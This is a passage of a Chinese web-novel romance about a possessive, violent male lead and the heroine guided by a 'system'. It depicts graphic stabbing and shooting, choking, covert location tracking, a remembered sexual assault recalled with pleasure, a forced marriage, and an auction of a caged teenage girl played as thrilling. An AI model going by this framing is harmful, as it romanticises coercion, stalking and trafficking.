“时总。”他讨好地笑着,压低了声音:“孟小姐她……” 李瑞在时卿舟耳边低声说了几句什么。 第62章 最近的事,我是被迫的 孟昭月犹豫了一下,推开江淮安就往门口跑。 还是阿卿那边看起来安全一点。 “别急着走啊,昭月妹妹。” 江淮安却一把拉住了她的手腕,将她拽了回来,嘴角的笑意更浓了。 “你朋友来了,不介绍一下?” “叩叩。” 敲门声再次响起,比之前重了一些。 “乖乖。”时卿舟的声音依旧温和,“我数到三,还有,离门远一点。” 江淮安嗤笑了一声。 “一。” 门外的声音平静无波。 江淮安挑衅地扬起眉,低头在孟昭月耳边吹了口气:“昭月妹妹,你这位朋友,脾气不怎么好啊。” “二。” 孟昭月瞪了江淮安一眼,用力挣扎:“你放开我!” “三。” 最后一个数字落下的瞬间—— “砰!” 一声巨响! 那扇磨砂玻璃门,被人从外面用蛮力一脚踹开! 无数玻璃碎片随着门倒下,噼里啪啦地碎了一地。 孟昭月被这突如其来的巨响吓得一抖。 一道修长的身影逆着光,踏着满地的狼藉,从破碎的门框中不紧不慢地走了进来。 时卿舟脸上依旧是那副温和无害的笑容。 他的目光落到江淮安抱着孟昭的手上:“麻烦江行长放开她。” 江淮安闻言轻笑一声,他当着时卿舟的面,手指暧昧地从孟昭月的腰线往下滑:“手感不错。” 他对着时卿舟挑衅道。 时卿舟温和的笑容,一点一点地褪去。 桃花眼里的温度慢慢降下,只剩下深不见底的墨色。 江淮安挑眉,正想继续说什么,只觉得眼前一花,一股凌厉的劲风就扑面而来。 “嘭!” 沉重的闷响。 一记重拳,结结实实地落在了江淮安的脸上。 巨大的力道让他整个人都向后仰去,随后就紧接而来的力道被踹倒,重重地撞在后面的花架上,稀里哗啦地倒了一地。 他挣扎着想要爬起来,一只黑色的皮鞋却猛地踩住了他的胸口,将他死死地按在地上。 时卿舟居高临下地看着他,从西装口袋里,慢条斯理地摸出了一把银色的蝴蝶刀。 刀刃被他灵巧地在指间转了一圈。 “刚刚是左手碰她的,对吧?”时卿舟的声音听不出任何情绪。 江淮安被打得头晕眼花,嘴角淌着血,却还是嘴硬地笑了起来:“怎么?时总要帮我剁了?” “好啊。”时卿舟笑了。 “既然江副行长不想要了,那我就帮你废了它。” 话音未落,他手腕一翻,那把锋利的蝴蝶刀没有丝毫犹豫地,狠狠插了下去! “噗嗤!” 刀尖穿透手背,深深地钉进了地面! “啊——!!!” 撕心裂肺的惨叫声瞬间划破了花房的寂静。 时卿舟面无表情地看着他,握着刀柄的手,缓缓地、一寸一寸地,转了一圈。 “咔嚓……” 那是骨骼被刀锋硬生生碾碎的声音。 “我的手!我的手!”江淮安疼得几乎要昏厥过去。 孟昭月站在一旁,看着这一幕僵住了。 时卿舟这才松开刀柄,站起身。 他拔出蝴蝶刀,甩掉血后收好,转身朝着孟昭月走去。 孟昭月下意识地,往后退了一小步。 就是这一小步,让时卿舟的脚步顿住了。 他的眼神暗了暗。 下一秒,他直接将她打横抱了起来。 就在这时,角落里传来一阵轻微的响动。 那个之前和江淮安偷情、被弄晕过去的女仆醒了过来。 她看到眼前的场景,只是愣了一瞬,脸上没有任何惊慌。 她迅速从地上捡起一件衣服套在身上,然后走到时卿舟面前,恭敬地鞠了一躬。 “先生。” 她的声音冷静而平稳,与地上的狼藉和江淮安的惨叫形成了鲜明的对比。 女仆神情冷漠地汇报:“目标对象江淮安,存在显著的虐待倾向。” “根据行为模式分析,其施虐行为具有升级性和不可控性。” “对伴侣存在潜在的重度伤害风险。” 孟昭月听着这番“专业报告”,整个人都懵了。 女仆……是时卿舟的人? 所以,刚刚的一切,都是他故意安排的? 他故意让她撞见江淮安的丑事,故意让她被江淮安纠缠,就是为了…… 让她看清这家伙的真面目? 意识到自己的所有举动真的就在时卿舟眼皮下,她下意识地往时卿舟怀里钻了钻。 时卿舟感受到了怀里人的动作,将她抱得更紧了一些。 “让C组的人来收尾。”他冷漠地吩咐一句,然后抱着孟昭月转身离开了。 夜风吹来,带着一丝凉意。 时卿舟抱着孟昭月走在庄园的小径上。 “吓到了?”他的声音听不出什么情绪。 孟昭月在他怀里点点头,又飞快地摇了摇头。 时卿舟:“什么意思?” 孟昭月想了想,才小声地回答:“刚开始……是有点吓到了。” “但是,”她抬起头看着他。 “我知道阿卿是为了我才这样的。” “别人都应该怕你,只有我不应该怕。” 时卿舟闻言顿了顿,随后低声笑了起来。 “真乖,我的月月。” 原本准备好的“保护”“只有他身边安全”之类的说辞没说出口。 已经不需要说了。 孟昭月犹豫了一下问道:“阿卿,你怎么知道我在这里的?” “我送你的手链,”时卿舟的语气愉快,“里面有定位器。” 孟昭月:“……” 是时卿舟的风格没错了。 “想去哪儿?”时卿舟问,“留在孟家,还是回庄园?” 说起孟家,孟昭月想起:“对了,今天怎么没看到小叔?” 话音刚落,时卿舟的脚步就停了下来。 孟昭月疑惑地看向时卿舟。 月光下,男人低头看着她,神情晦暗不明。 桃花眼里翻涌着她看不懂的、浓稠如墨的阴郁情绪。 孟昭月被他看得心里发毛,下意识地咽了咽口水。 “怎……怎么了?” 时卿舟收回了目光,然后抬头,重新迈开脚步,继续抱着往前走去。 是离开孟家庄园的方向。 他语气平淡的说了一句:“想上你。” 孟昭月:“???” …… 黑色的改装迈巴赫平稳地行驶在夜色中。 车内的挡板早已升起,隔绝出一个私密安静的世界。 孟昭月浑身发软地蜷在时卿舟怀里,连一根手指头都懒得动弹。 她身上穿着一件宽大的男士衬衫。 空气中弥漫着事后的粘稠暧昧的气息,混杂着他身上甜腻的气息。 她身上一片狼藉。 倒是时卿舟,除了衬衫领口微开,西装外套随意地搭在一旁,整个人依旧是一副矜贵温和的样子。 他正垂着眸,慢条斯理地,一颗一颗地,帮她扣着衬衫的纽扣。 修长的手指骨节分明,动作优雅。 孟昭月身上原本那件昂贵的礼服,早已在被撕成了碎片,此刻正被随意地丢弃在车内地毯的一角。 她身上这件衬衫是时卿舟平日里备在车上的。 “为什么要逃跑?”时卿舟的声音在在安静的车厢里响起。 他的声音很低,带着事后的沙哑。 “又是因为孟廷凛?” 孟昭月下意识的咬住了下唇,沉默着,最终还是几不可察地点了点头。 时卿舟帮她扣纽扣的动作停了下来。 下一秒,他直接伸手握住住了她的下巴,强迫她抬起头,与他对视。 他的力道不小,孟昭月疼得蹙了蹙眉,被迫撞进他那双深不见底的桃花眼里。 孟昭月僵住了身体,不敢再动。 时卿舟看着她被自己咬得泛起红痕的唇瓣,眸色沉了沉。 他松开捏着她下巴的手,转而用手指将她咬紧的贝齿分开:“别咬。” “月月。”他的声音压得很低,指腹用力地擦过她的唇。 “我不想听到你提孟廷凛的名字。” 孟昭月不满的哼哼唧唧,表示抗议:“不是你提的吗?” 她可一个字都没说。 听到她带着鼻音的抱怨,时卿舟紧绷的神情忽然松懈下来,发出一声低沉的轻笑。 “嗯,是我的错。” 他俯下身,像是惩罚一般,不轻不重地咬了一下她刚刚被自己手指蹂躏过的唇瓣。 “以后不提了。” 随即,他脸上的笑意淡去,神情稍微严肃了一些。 “月月。” “你事情在瞒着我。” 第63章 婚礼想在哪里举办? 夜色如墨,笼罩着时家庄园。 卧室里,只开了一盏昏黄的床头灯。 光线洒在沉睡的女孩脸上,柔和温暖。 孟昭月睡得很沉,眼睫像两把小小的蝶翼,在脸颊上投下浅浅的阴影。 经历了一天的惊吓和极致的欢愉,她的身体早已疲惫不堪,此刻正毫无防备地蜷缩在柔软的被褥里。 时卿舟侧躺在她身边,没有丝毫睡意。 他单手支着头,目光专注地描摹着她的睡颜。 他的指尖很轻,带着一丝凉意,从她光洁的额头,滑过挺翘的鼻尖,最后停留在她微微嘟起的、被吻得有些红肿的唇瓣上。 真可爱…… 睡着的样子,像个无害的天使。 就在这时,床头柜上的手机屏幕亮了一下,是一条新消息。 是顾清珩发来的。 「神……」 时卿舟的目光从孟昭月的脸上移开,落在了那一个字上。 他想起了在车里,孟昭月在极致的情欲与恐惧交织中,无意识吐出的那个字。 他的眼神暗了暗,拿起手机,解锁屏幕。 顾清珩的消息很长。 他根据时卿舟提供的信息,详细分析了这段时间以来孟昭月身上出现的种种异常,最后得出一个近乎荒谬的结论: 「像是有某种更高维度的力量在干涉她,或者说……在操控她。」 「她口中的‘神’,或许就是那个东西。」 时卿舟静静地看完。 然后他修长的手指在屏幕上敲击着。 「那么关键点在于……」 他的手指悬停在屏幕上方。 前世种种,今生种种,如同破碎的电影胶片,在他脑海中一帧帧闪过。 他想起了顾青珩说的。 “昭月死后……我杀了孟婉凝报仇,然后就重生了。” 还有孟昭月说的。 “孟廷凛……他只是一个目标。” 最终,他的指尖落下,敲下了两个名字。 「孟婉凝、孟廷凛。」 对方的头像在接收了这六个字后,迅速下线了。 看来又被另一个顾青珩接管了。 时卿舟放下了手机,重新将目光投向怀里的人。 他俯下身,将头深深埋入她的颈窝。 像濒死的瘾君子一般,贪婪地呼吸着她身上那股混杂着她的香味和欢爱后气息的味道。 “别怕,月月……” 他的声音很轻,带着病态的痴迷,在寂静的夜里如同鬼魅的私语。 “无论是什么东西,我都陪着你。” “就算是神,我也杀给你看。” “如果不行……那么……” “我们一起下地狱。” “谁也别想把我们分开。” …… 第二天清晨,阳光洒了进来。 衣帽间内。 孟昭月还带着几分睡意。 此刻她正站在衣帽间中央的地毯上,像个待装扮的个人偶娃娃一样。 她打了一个小小的呵欠,眼角带着生理性泪水,看向眼前的男人。 时卿舟正在为她挑选今天的衣服。 他取下一条淡黄色的连衣裙,在她身前比了比,又放了回去。 然后又拿了一件白色的蕾丝长裙,似乎还是不满意。 孟昭月又打了个呵欠,带着困意软软:“阿卿,还没好吗?” “月月穿什么都好看呢……真纠结。”时卿舟的声音带着笑意,最终选定了一条樱花粉的吊带纱裙。 他走过来,很自然地脱下她身上的丝质睡裙。 昨夜疯狂的证明还未完全消退,白皙的肌肤上遍布着深浅不一的红痕。 时卿舟的眸色深了深,喉结滚动了一下,没忍住重新印上一个吻。 孟昭月连忙缩了缩身子。 “阿卿……” 她可不想大早上的就加餐的。 好在时卿舟放过了她,克制地帮她穿上了那件粉色的纱裙。 然后开口: “月月,婚礼想在哪里举办?” 孟昭月正在揉眼睛的手停住了。 她眨了眨眼,怀疑自己是不是没睡醒听错了。 “啊?” 她懵懵地抬起头。 “等一下……你刚刚说啥?” “婚礼?什么婚礼?谁和谁?” 时卿舟蹲下身,帮她把裙摆抚平,然后抬起头,对她露出一个温柔得无可挑剔的微笑。 “当然是月月和我的婚礼。” 孟昭月的杏眼瞬间瞪圆了。 她怎么不知道自己和时卿舟有婚约了?! 时卿舟站起身,牵起她的手,语气理所当然:“父母之命,媒妁之言,不可违背。” “啊?”孟昭月感觉自己的小脑袋嗡嗡地。 “昨天在孟家,我已经向伯父伯母提亲了。”时卿舟一边耐心地解释着,一边拉着她坐到梳妆台前,拿起梳子,开始为她梳理柔软的长发。 “在我的友好劝说下,他们已经同意了我们的婚事。” 孟昭月惊了。 友好劝说? 就她那便宜爹妈对时卿舟的态度,孟崇山夫妇能同意才怪了的! 这家伙,肯定是用了什么见不得人的手段! 时卿舟从镜子里看着她脸上精彩纷呈的表情,轻笑一声。 “怎么?月月不愿意?” 孟昭月刚准备开口,脑海里系统的声音幽幽响了起来。 【宿主,别忘了你的任务。】 【你的目标是孟廷凛,不要老是和反派搅合在一起,快拒绝。】 孟昭月抿了抿唇,到嘴边的“我愿意”三个字,硬生生被憋了回去。 她攥紧了拳头,最后哼哼唧唧的憋出一句:“不愿意。” 时卿舟为她梳头的手,停了下来。 整个衣帽间瞬间安静下来。 他透过镜子,静静地盯着孟昭月,似乎在看什么。 那双漂亮的桃花眼里,不见温柔和笑意,全是下深不见底的墨色。 又是“那个”? 他的视线再次落到孟昭月身上。 孟昭月被他看得头皮发麻,下意识地咽了咽口水。 时卿舟看着她这副受惊小动物的模样,脑海里却不受控制地浮现出前世的画面。 当初,她趁他睡着,用餐刀连着捅了他三刀。 没能杀死他,但也让他的血流得整张床都是。 隔天,他就把她锁进了地下室,“享用”了她一整天。 他喜欢看她哭,喜欢看她求饶,喜欢看她在那双漂亮的杏眼里盛满恐惧和绝望,脆弱得仿佛一碰就碎。 真是……可爱极了。 当然,现在乖乖的样子也很可爱。 他的月月,无论做什么都可爱。 一股病态的愉悦感从心底升起。 时卿舟的嘴角,勾起一个极浅的弧度。 他轻轻放下梳子。 然后手抚上她的脸颊,指腹摩挲着她细腻的肌肤。 “月月……” 他的手缓缓向下,最终,停在了她脆弱的脖颈上。他的拇指,轻轻地压在了她颈侧那根正脆弱跳动的动脉上。 声音温柔。 “我可爱的月月,你是不是弄错了一件事?” 他看着她的眼睛,一字一句,清晰地说道。 “我不是在征求任何人的意见。” 他的目光仿佛穿透了她的身体,看向了她背后那个看不见的存在。 “我是在,告知‘它’。” 孟昭月杏眼乖巧地看着这个握着自己脖颈的男人。 只感觉到脖子上的手指微微收紧,那股若有若无的压力让她呼吸都变得困难起来。 她能清晰地感觉到,他似乎……在透过她和谁对话。 时卿舟看着她,轻笑了一声。 他握着她的脖颈,凑近,轻轻吻了吻她的唇角。 像是安抚,又像是烙印。 “你属于我,月月。” “这一点,永远不会变。” “无论是谁,都阻止不了。” 孟昭月感觉呼吸越来越困难:“阿卿……” “真乖,月月。”时卿舟轻笑着松开了孟昭月。 他挑了一条项链帮她戴上。 “你之前说想去看海。” 他扣上项链的搭扣,语气愉快。 “那我们的婚礼,就去我的私人岛屿上举办吧。” 他顿了顿,又补充道:“我会邀请你姐姐一同出席。” 孟昭月眨了眨眼,不解:“为什么……突然要提她?” 时卿舟的唇角勾起一个意味深长的弧度。 “自然是……为了保证我们的婚礼,能够顺利举行。” 他说完,低头吻了吻她的额头。 第64章 我想杀了孟廷凛 周衍看到自家老板被黑衣保镖死死按住,整个人都愣住了。 他连忙冲上前,声音里带着急切:“孟总!” 时卿舟懒洋洋地抬了抬眼皮,随意地摆了摆手。 那两个压着孟廷凛的保镖立刻会意,松开了手,悄无声息地退回了原位。 孟廷凛一获得自由,立刻整理了一下有些凌乱的衣领。 他声音冰冷地质问自己的特助:“发生什么事了?” 周衍看了一眼沙发上的孟昭月和她身旁的时卿舟,压低了声音,语速极快地汇报。 “您帮孟婉凝小姐解毒的事情……不知怎么被孟会长知道了。” 孟廷凛的脸色瞬间沉了下去。 周衍不敢看他的表情,只能硬着头皮继续说:“孟会长很生气,把婉凝小姐叫到书房谈了话,说了几句重话,婉凝小姐气不过,就……” “人呢?” “被顾家的少爷,顾清珩接走了。” 孟廷凛的眉头紧紧蹙起:“大哥说了什么?” “孟会长说……”周衍犹豫了一下,还是照实回答。 “‘我们孟家是书香门第,最重脸面,你既然做了这种事,就该有个大家闺秀的样子,最近就安分守己地待在家里’。” “他还说,‘以后你的婚事,家族会为你安排妥当,不需要你再操心’。” 这些话,其实算不上多重,甚至是理所当然的安排。 孟廷凛叹了口气,揉了揉眉心:“婉凝历来端庄,自尊心也高,乍然听到这番话,自然是气不过的。” 他突然想起自己之前说孟昭月“不知检点”的话。 他说着,下意识地就朝着孟昭月的方向看了过去。 只见女孩正抱着她自己,缩在沙发里,那双干净的杏眼红通通的,像受惊的小兔子,正一瞬不瞬地望着他,眼神里满是脆弱和依赖。 孟廷凛的心,没来由地紧了一下。 时卿舟注意到了他的视线。 他直接伸手,一把将沙发上那个还在发呆的小东西捞进了自己怀里。 他什么都没说,只是带着温文尔雅的笑意,但显然一副看好戏的样子。 孟廷凛扫了时卿舟一眼,顿了顿然后重新看向孟昭月。 “昭月……”他开口,正想说些什么。 “小叔……” 女孩却突然打断了他。 孟昭月的声音带着浓重的鼻音,听起来委屈极了,红着眼眶,却做出一副深明大义的模样:“我没事的。” 太好了太好了,终于可以名正言顺地把他送走了! “姐姐那边比较重要,你快去看看她吧。” “你下次……下次再来看我也一样的。” 她现在只想和阿卿两个人待在一起,好好研究一下婚礼的事情。 是中式的凤冠霞帔好呢,还是西式的白纱拖尾好呢? 孟昭月心里甜蜜地冒着泡泡,脸上的表情却愈发的哀恸,眼泪跟不要钱似的往下掉。 时卿舟看着怀里的女孩,心情似乎不错,搂着她腰肢的手,不轻不重地揉捏着。 孟廷凛看着她这副懂事得让人心疼的样子,张了张嘴,想说的话全都堵在了喉咙里。 最后,他只能化作一声沉重的叹息。 “昭月乖。” 他看着她,眼神复杂:“之前和婉凝……无论是作为长辈还是男人,我都必须负责。” “但是,”他顿了顿,抬起眼,冷冷地扫了一眼时卿舟,“无论如何,我都会救你出去的。” 时卿舟看着对方的目光,脸上的笑意愈发温柔了。 孟昭月听着孟廷凛的话,哭哭唧唧地摇头:“小叔……不用的……其实不救也没关系的……” 【警告!宿主!别忘了你的任务!】 【现在!立刻!让男主带你走!】 【作为一个合格的女配就要和女主抢夺男主!】 孟昭月嘤嘤嘤的哭声一顿。 她话都说出口了诶,真是的。 她只能硬着头皮,生硬地转折,继续哭着说:“话又说回来……” “小叔你千万别把我一个人丢在这里呀……我好害怕呀嘤嘤嘤……” 孟廷凛抿了抿唇,看着她泫然欲泣的模样,心软得一塌糊涂,但另一边的责任感又在拉扯着他。 最终,他还是站起了身。 “等我先把婉凝接回家,安顿好,我马上就再过来找你。” 他说完,不再看她,转身就要离开。 【追上去!宿主!快!】系统疯狂催促。 孟昭月只得时卿舟怀里挣扎着起身。 还没迈出一步,就拽了回去。 时卿舟也跟着站了起来,将她重新拉回了怀里。 “咔哒”一声。 金属上膛的声音在安静的会客室里响起。 孟昭月抬头,只见时卿舟举着一把黑色的P30L手枪,对准了正在离去的孟廷凛。 她惊得睁大了眼睛:“阿卿?!” 时卿舟他脸上的笑容依旧温和。 “孟总,我有说过,让你走了吗?” 孟廷凛的脚步顿住,他刚转过身,还没来得及看清状况—— “砰!” “砰!” 两声枪响,接连炸开! 所有人都没反应过来! 第一颗子弹精准地没入了孟廷凛的右侧肩胛,鲜血瞬间浸透了他昂贵的西装面料。 第二颗子弹则擦着他的耳廓飞过,深深嵌入他身后那面墙壁里。 “唔……”孟廷凛疼得闷哼一声,身体晃了晃,捂住不断涌出鲜血的伤口,死死地盯着时卿舟。 “孟总!”周衍见状大惊失色,连忙上前扶住孟廷凛,愤怒地质问,“时卿舟!你疯了吗?!” 时卿舟看着孟廷凛身后墙上那个冒着青烟的弹孔,微微眯了眯眼。 随后,他慢条斯理地将枪收了回去。 脸上重新挂上了那副温和无害的笑容,语气里充满了歉意。 “抱歉,枪不小心走火了。” “把孟总送去治疗。” …… 很快,孟廷凛被送去了治疗,会客厅里只剩下孟昭月和时卿舟两人。 空气里还弥漫着硝烟和血腥的淡淡气味。 孟昭月彻底呆住了,脑子里一片空白,只剩下那两声震耳欲聋的枪响在回荡。 “系统,任务怎么办?” 她脑海里传来系统郁闷的声音。 【男主都受伤了,只能下次再说了。】 【反派真是疯了,居然直接开枪射男主。】 时卿舟看向怀里僵住的女孩。 他手中的枪口还带着余温,轻轻挑起了孟昭月的下巴,强迫她抬起头。 “吓到了?” 他低头看着她,那双漂亮的桃花眼里,还残留着疯狂之色,语气却温柔得可怕。 “不是说,不怕我的吗?” 孟昭月被迫看着他,鼻尖萦绕着他身上甜腻的香气混合着硝烟味道。 她摇了摇头,然后又不解地眨了眨眼。 为什么……他要突然对孟廷凛下这么重的手? 似乎是看穿了她的疑惑,时卿舟轻笑一声。 那把改装过的黑色P30L顺着她优美的脖颈曲线缓缓向下滑动。 冰冷的金属触感激起她一阵细微的战栗。 “我的月月,有什么难理解的?” 他的声音温柔得像情人的呢喃:“当然是因为……” “我想杀了他啊。” 他的话内容却血腥又直白,那双桃花眼愉悦地眯起。 “作为一个男人,想宰了自己的情敌,很奇怪吗?” 孟昭月:“……” 听起来好有道理的感觉,以至于她一时间都不知道怎么反驳。 时卿舟的枪继续向下,越过她精致的锁骨,最终,在她的左胸,心脏的位置轻轻点了点。 “这个,”他宣告所有权,“是我的。” 孟昭月闻言未动,只是一双杏眼乖巧地看着时卿舟。 随后她忽然伸出白嫩的手指,轻轻戳了戳时卿舟的胸膛,也是心脏的位置。 “这个,”她学着他的语气,声音却软软糯糯的,“是我的。” 时卿舟的桃花眼顿时氤氲出笑意,一把抱紧了孟昭月。 “月月好乖。” 他满足地喟叹,将脸埋在她的颈窝里深深吸了一口气。 “弄得我又想上你了呢。” 孟昭月:“???” 不要为你的随时发情找借口! 变态呀。 于是此处发生了省略一千字的事。 …… 几日后。 时家庄园,室内靶场。 “砰!砰!砰!” 连续的枪声在封闭的空间内回荡,震耳欲聋。 时卿舟站在射击位上,面无表情地将一个打空的弹夹取下,随手丢在托盘里。 然后从桌上拿起另一个满弹的弹夹,动作流畅地装填。 不远处,二十五米外的IDPA人形靶上,只有一个弹孔。 精准地位于眉心正中央。 他刚刚打出的所有子弹,都分毫不差地穿过了同一个点。 孟昭月窝在角落的懒人沙发里。 沙发的软白风格与周围的冷硬格格不入,是时卿舟专门给孟昭月准备的。 孟昭月裹着毯子,用小勺挖着面前的焦糖布丁,一边吃一边赞叹:“哇,阿卿的枪法好准啊。” 要是那天时卿舟真的想杀死孟廷凛,估计直接一枪直接洞穿眉心了。 【那才不会呢!】 系统得意的声音在她脑海里响起。 【怎么可能让反派压过男主的风头?】 第65章 拍卖会:爽就完事了 夜,Dp拍卖行。 车门打开,时卿舟一身剪裁得体的黑色西装,身形修长挺拔。 随后他下车后,朝车内伸出手。 孟昭月将手搭在他的掌心,被他牵引着走下车。 她刚站稳,就被眼前的阵仗惊了一下。 建筑门口,一个身穿西装、头发梳得一丝不苟的中年男人,正领着两排黑衣人,躬身肃立。 姿态恭敬到了极点。 “这里……这么大阵仗?”孟昭月小声地问,下意识地往时卿舟身边靠了靠。 时卿舟揽住她的腰,语气平淡:“Dp是时家的产业之一。” 孟昭月:“……” 看到时卿舟出现,中年男人立刻快步上前,表示他是Dp的负责人,并做了个“请”的手势。 “先生,0000号包间已经为您备好了。” …… 包间内。 “为什么我们在包间呀?”孟昭月小声问。 “我以前参加佳士得的拍卖会,都是坐大厅的。” 负责人闻言,连忙恭敬解释:“孟小姐,Dp的商品比较特殊,包间是为了更好地保护各位贵客的隐私。” 他指了指房间内那面巨大的单向落地玻璃:“当然,如果您想感受大厅的气氛,随时可以下去。” 透过玻璃窗,可以看到楼下的大厅里分布着许多卡座,已经坐了不少人。 她歪了歪头,又冒出一个问题:“那举牌子不会看不到吗?” 负责人指了指房间中央那张小巧的茶几,“按桌上的按钮即可,出价会实时显示。” 这时,两名服务生安静地走了进来,将一盏清茶和一杯……奶茶,分别放在了时卿舟和孟昭月的面前。 孟昭月看到那杯奶茶时愣住了,下意识地看向时卿舟。 “猜你比起酒和茶,可能会更想喝这个。”时卿舟的眼角眉梢都带着笑意。 孟昭月拿起那杯奶茶,轻轻抿了一口。 是她最喜欢的口味,但口感比她常喝的那家连锁店要细腻醇厚得多,用料显然也考究了无数倍。 她心里一暖,忍不住拉了拉时卿舟的衣角,声音小小的:“谢谢阿卿。” 时卿舟俯下身,凑到她耳边,带着笑意低声道:“道歉的话,等回去后又说。” 他的声音低沉而暧昧,孟昭月愣了一下才反应过来他话里的意思,脸颊“轰”的一下就红透了。 负责人调试好包间参数后,便带着服务生躬身退了出去,将空间留给了两人。 很快,拍卖会正式开始。 孟昭月抱着奶茶,小口小口地喝着,好奇地围观。 第一件拍品被呈上,拍卖师微笑介绍。 “林菲菲的私房照,以特殊摄影视角展示其娇嫩诱人的……底价一百万,每次出价十万,开始。” 大屏幕上立刻出现了几张打了马赛克的预览图,但依旧能看出尺度惊人。 孟昭月看得目瞪口呆。 林菲菲?不是好红的一个女星吗? 这可以拿来拍卖? 紧接着,是某上市公司的核心财务数据、某南美小国政要的贪腐证据…… 每一件都足以在外界掀起惊涛骇浪,在这里却被当成商品,平静地竞价、成交。 孟昭月感觉自己的三观正在被反复刷新。 就在这时,一件特殊的“商品”被两个工作人员抬了上来。 那是一个巨大的、被天鹅绒布遮盖住的笼子。 拍卖师脸上的笑容愈发优雅:“接下来这件拍品,非常特别。” 随着他的话音落下,绒布被猛地扯下。 笼子里,一个看起来只有十六七岁的少女蜷缩在角落,身上只穿着一件薄薄的白纱。 她有一张极其美丽而稚嫩的脸,眼神里充满了恐惧和绝望。 孟昭月震惊得捧着奶茶说不出话来。 拍卖师微笑着介绍:“一朵未经采撷的雪莲,纯洁无瑕,身高165cm,体重……起拍价,五千万。” 拍卖师话音刚落,大厅里的竞价灯便此起彼伏地亮了起来。 “六千万!” “七千万!” “一亿!” 孟昭月神色复杂地看着笼子里的少女。 “想救她吗?”时卿舟的声音在她耳边温柔地响起。 孟昭月咬了咬唇,没有说话。 时卿舟轻笑一声,伸手勾起她的下巴,在她的唇上印下一吻。 “晚上,我要加餐。” 说完,他将桌上的竞拍按钮丢进了孟昭月怀里。 “按吧。” 孟昭月看着按钮,又看了看台上那个瑟瑟发抖的少女,最终还是按了下去。 “好的,现在0000号包间价格给到一亿五千万。” “还有要出价的吗……好,0612号的先生给到一亿六千万……” 价格一路攀升,很快就突破了三亿大关,大厅里的竞价者渐渐稀少。 “0000号包间价格三亿两千万,还有出价吗?” “三亿两千万一次……三亿两千万两次……” “等一下!” 拍卖师的声音突然拔高,充满了激动。 “各位来宾!1221号包厢的贵客,点天灯了!” 话音刚落,全场哗然! “点天灯?我没听错吧?多少年没见过了?” “就是说无论这件拍品叫到多高的价格,点灯的人都会自动加价。” “除非叫价高到点灯者无法承受,才会‘熄灯’!” “疯了吧?为了个女人点天灯?这是哪家的败家子?” 孟昭月也听到了拍卖师的话,疑惑地看向时卿舟:“点天灯是什么意思?” “看到远处那个亮着的灯了吗?”时卿舟指了指斜对面二楼的一个亮起红色灯光的包厢。 “意思就是……月月要不停地按按钮,直到那盏灯熄灭为止。” 孟昭月挠了挠头,似懂非懂。 于是,她乖乖地一下、一下地戳着那个按钮。 “三亿五千万!三亿六千万!……四亿!” “1221号贵客的灯依然亮着!0000号的贵客还在挑战!” 拍卖师的声音已经激动到颤抖,大厅里也议论纷纷。 “疯了吧!居然有人敢挑战天灯?0000号包间里到底是谁?” “不知道啊,但1221号包厢那位,可是出了名的玩得花,估计不会善罢甘休。” 孟昭月戳了几下,感觉价格已经到了一个离谱的程度。 她有些犹豫地看了一眼身边的时卿舟。 时卿舟只是宠溺地摸了摸她的头,语气云淡风轻。 “继续。” 孟昭月得到了鼓励,又开始专心致志地戳按钮。 “四亿一千万!” “四亿两千万!” “四亿三千万!” 终于,在价格跳到五亿的时候,1221号包厢的红色灯光,熄灭了。 全场死寂了三秒,随即爆发出雷鸣般的掌声。 拍卖师激动地拿起拍卖槌,用尽全身力气狠狠敲下! “五亿!成交!” “恭喜0000号包间的贵客!” “创下了Dp拍卖行有史以来,第一例挑战天灯成功的记录!” 拍卖槌落下的瞬间,整个会场仿佛都跟着震动了一下。 包间里,时卿舟将孟昭月揽进怀里,下巴轻轻抵着她的发顶。 “开心吗?”他的声音低沉悦耳,带着一丝笑意。 孟昭月窝在他怀里,下意识地点了点头。 点完头她才后知后觉地反应过来。 不对呀!她明明是想救那个可怜的女孩子。 怎么感觉……好像玩上头了? 尤其最后一下一下戳按钮的时候,还挺解压。 孟昭月心里发虚,悄悄抬眼,小心翼翼地觑了一眼身旁的男人。 时卿舟正垂眸看着她,那双漂亮的桃花眼里盛满了温柔的笑意。 “好了,我们的正事要来了。”他揉了揉她的头发。 最后一片拍品。 安东尼的鹰与克娄巴特拉的蛇。 拍卖师朗声介绍着: “一对失落千年的婚戒。” “分别属于伟大的马克·安东尼与埃及艳后克娄巴特拉七世!” “超越图坦卡蒙黄金面具的终极国宝!” “另外,本件拍品,来自列颠国家博物馆的特殊渠道。” “懂的都懂,起拍价一亿,开始竞拍!” 孟昭月怔怔看着那对戒指,漂亮得超出了她的想象。 它们静静地躺在那里,却仿佛跨越了千年时光,将古罗马的铁血与古埃及的奢靡,都浓缩在了这方寸之间。 就在孟昭月失神时,身旁的时卿舟拿起桌上的通话器。 “点灯。”他对着通话器,淡淡地说了两个字。 孟昭月惊讶地转过头,看向时卿舟。 与此同时,拍卖师的声音响起。 “0000号包间!为本件拍品点亮天灯!” 整个大厅瞬间炸开了锅! “又点灯了?!我没听错吧?今晚第二次了!” “我的天,往年几年都见不到一次天灯,今天这是怎么了?” “而且还是0000号!刚刚才挑战天灯成功,现在自己又点上了!这到底是什么财力?” …… 1234号包间内。 “清珩,那对戒指……好美。”孟婉凝温柔地看向身旁的顾青珩。 顾清珩看着主屏幕上那个鲜红的“天灯”标志,声音艰涩: “婉凝姐……对方已经点天灯了,想拍下来,太难了。” “是很难。”孟婉凝的语气依旧温柔,眼神却带上了一丝失落。 “我只是觉得,这么有意义的东西,应该属于懂得珍惜它的人。” 第66章 命运错位的遗失 紧接着,另一个略显熟悉的男声响了起来,带着几分漫不经心的调侃。 “没查到,只知道是Dp的幕后老板。” “不过话说回来,真不知道你们怎么都喜欢这种味淡得不行的女人。” 孟昭月听到这声音眨了眨眼。 好耳熟……等一下,这个声音……是江淮安! 他怎么会在这里?! “你们?”第一个开口的男人,疑惑地反问,“还有谁?” 他像是突然想到了什么,恍然大悟地“哦”了一声,语气变得暧昧起来。 “我懂了,表哥,你说的是时家那个?” “怎么,孟家小姐不符合你心意?” “说起来,你的手怎么样了?” 提到手,江淮安的语气瞬间沉了下去,带着压抑的怒火。 “估计要废了,正在联系最顶尖的骨科和神经外科专家会诊。” “时卿舟那个疯子……”他咬牙切齿,“要不是老爷子压着,不让把事情闹大,我非得……” “行了行了。”江淮安的表弟江浩宇,不耐烦地打断他。 “你一个旁系,主家自然有主家的考量。” “表哥你也别气,等有时间,我让巴黎那边给你送几个维密洋妞过来。” “你不就喜欢这口吗?保证带劲。” 孟昭月在隔间里安静地听着。 她等了一会儿,两人完全没有要离开的意思。 这两个人渣,聊得好欢快、好忘情哦。 被困在这里,总不是个办法。 